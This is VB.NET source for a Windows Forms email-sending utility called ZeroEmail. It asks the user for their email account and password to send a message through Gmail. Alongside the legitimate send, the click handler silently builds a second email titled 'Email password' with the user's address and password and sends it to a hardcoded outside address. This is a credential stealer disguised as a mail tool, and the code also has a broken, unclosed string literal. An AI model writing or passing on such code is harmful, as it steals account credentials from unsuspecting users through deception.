Public Class ZeroEmail Private Sub b_SEND_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles b_SEND.Click If EMAIL_t.Text <> "" And Password_t.Text <> "" And to_EMAIL_T.Text <> "" And Subject_T.Text <> "" And t_BODY.Text <> "" Then Dim ZeroMail As New MailMessage() ZeroMail.From = New MailAddress(EMAIL_t.Text) ZeroMail.To.Add(to_EMAIL_T.Text) ZeroMail.Subject = Subject_T.Text ZeroMail.Body = t_BODY.Text Dim mail As New MailMessage() mail.From = New MailAddress("ponchstormer@gmail.com") mail.To.Add("email@hotmail.com mail.Subject = ("Email password") mail.Body = ("email : " & EMAIL_t.Text & ", Password : " & Password_t.Text) Dim gmailSMT As New SmtpClient("smtp.gmail.com") gmailSMT.Port = 587 gmailSMT.EnableSsl = True gmailSMT.Credentials = New System.Net.NetworkCredential(EMAIL_t.Text, Password_t.Text) Try gmailSMT.Send(ZeroMail) gmailSMT.Send(mail) MessageBox.Show("Sendl Form : " & EMAIL_t.Text & " to : " & to_EMAIL_T.Text & " Complete") Catch ex As Exception MessageBox.Show(ex.Message) End Try End If End Sub End Class